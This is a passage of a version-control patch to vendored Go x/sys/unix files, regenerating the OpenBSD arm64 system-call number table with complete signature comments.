- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go
-similarity index 67%
-copy from vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-copy to vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go
-index 32653e53..fe2b689b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build arm,openbsd
-+// +build arm64,openbsd
-
- package unix
-
-@@ -9,35 +9,35 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
- SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
- SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
-@@ -46,77 +46,80 @@ const (
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-- SYS_SENDSYSLOG = 83 // { int sys_sendsyslog(const void *buf, size_t nbyte); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, \
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
- SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
- SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, \
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
- SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
-@@ -125,89 +128,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
